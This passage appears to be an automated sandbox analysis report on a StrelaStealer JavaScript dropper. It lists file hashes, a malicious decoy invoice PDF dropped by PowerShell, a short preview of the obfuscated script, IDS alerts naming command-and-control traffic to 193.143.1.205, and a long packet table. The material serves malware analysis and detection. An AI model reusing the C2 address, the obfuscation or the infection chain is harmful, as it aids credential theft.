Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (15345), with CRLF line terminators
Entropy (8bit):	4.918162815425182
TrID:
File name:	23333227572217423995.js
File size:	18'928 bytes
MD5:	436d6035cf57588e27132b784451d61c
SHA1:	0784823c6f73486e817aaa4960f2851b427f46a9
SHA256:	4b301e866df3faa0d672aa601c2ce572965ffa9c6cb29829ba0bf6be1ba5d35a
SHA512:	b3ff28d99d644c779dfec42c45dd71aedec91b3bf68da67683fa1e2136f12ef76b73c76ae8d9d6c2dfefe6a9135e405828a88fbf92168e0e911aefdf15ac57d5
SSDEEP:	192:JxPz4oSHoosPdAngL4oSBkB1UyFHRN48B9QZe9ZeS+a81zyyaJTAq9Q2yvf59ax4:Pwimkka8MyaVAq9XyvfNXBtDYVi
TLSH:	47829552981D8F65CFC81970A07190E222D9ADCC29669058F8507C77E34BBA366E7BFC
File Content Preview:	function bhssrf(){lrtticq=[1031,3079,5127,4103,2055,3072];var zcyrv=this[tzwfuvk+smqftipdw+dcdatr+abvvxgaks+ysshfcsj+jiuxf+phluchqtq+zmkcnxeqd](this[uhnok+ntqtbqf+tfddfypcy+dcdatr+iynxv+tzwfuvk+zmkcnxeqd][kffcjb+dcdatr+ysshfcsj+smqftipdw+zmkcnxeqd+ysshfcs

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T01:13:36.681483+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T01:13:36.681483+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.4	49730	193.143.1.205	80	TCP
2025-01-11T01:13:39.294366+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.4	49731	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 01:13:35.860614061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:35.865847111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:35.865947008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:35.868833065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:35.874577045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.681272984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.681298971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.681317091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.681329012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.681339979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.681346893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.681356907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.681368113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.681379080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.681391001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.681483030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.681483030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.686340094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.686376095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.686392069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.686475039 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.741099119 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.741118908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.741441011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.802725077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.802752018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.802764893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.802777052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.802789927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.802803993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.802903891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.802903891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.803209066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.803221941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.803234100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.803245068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.803374052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.803787947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.803802967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.803814888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.803827047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.803838968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.803850889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.803888083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.803888083 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.804723978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.804742098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.804754972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.804907084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.817502975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.817519903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.817658901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.829890013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.829905987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.830094099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.910890102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.910911083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.910928965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.911108971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.923971891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.924001932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.924037933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.924048901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.924058914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.924060106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.924072981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.924083948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.924160004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.924160004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.924618006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.924639940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.924657106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.924668074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.924679041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.924696922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.924729109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.925107002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.925163984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.925198078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.925209045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.925220966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.925231934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.925242901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.925256014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.925267935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.925296068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.925359964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.925961971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.926031113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.926042080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.926079988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.926083088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.926090956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.926103115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.926114082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.926176071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.926176071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.926867962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.926937103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.926947117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.926964998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.926975965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.927000999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.927012920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.927023888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.927028894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.927057981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.927145004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.927922010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.927934885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.927946091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.927958012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.927974939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.927985907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.927997112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.928002119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.928002119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.928059101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.928730965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.928741932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.928755045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.928764105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.928797007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.928817987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:36.999547005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.999562979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:36.999644041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.031841040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.031951904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.031961918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.031972885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.031984091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.031994104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.032013893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.032068014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.045285940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045303106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045315027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045326948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045381069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045382977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.045393944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045417070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045428991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.045437098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045452118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.045454979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045470953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045484066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045505047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.045536041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.045906067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045917988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045941114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045958042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.045958042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045969009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045981884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.045983076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.045994043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.046016932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.046051979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.046503067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.046514988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.046525002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.046538115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.046549082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.046559095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.046560049 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.046571016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.046581030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.046583891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.046591997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.046597004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.046622038 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.047072887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.047120094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.047122002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.047233105 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.047245026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.047264099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.047271967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.047281027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.047292948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.047298908 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.047303915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.047322989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.047331095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.047333002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.047343969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.047355890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.047362089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.047380924 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.048012972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.048065901 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.048096895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.048109055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.048120022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.048130989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.048141956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.048142910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.048177004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.048203945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.048214912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.048224926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.048235893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.048247099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.048248053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.048257113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.048266888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.048300028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.048949957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049005032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.049014091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049025059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049035072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049063921 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.049067974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049078941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049091101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049103975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.049112082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049123049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049132109 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.049134016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049143076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049154043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049164057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.049184084 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.049962997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049974918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049984932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.049997091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.050008059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.050018072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.050019026 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.050044060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.050483942 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.054080009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.088298082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.088310003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.088320017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.088330030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.088388920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.096765995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.120667934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.120686054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.120697021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.120702028 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.120707035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.120712042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.120734930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.120745897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.120754004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.120785952 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.120810032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.120810032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 01:13:37.120814085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.120824099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 01:13:37.120898008 CET	49730	80	192.168.2.4	193.143.1.205
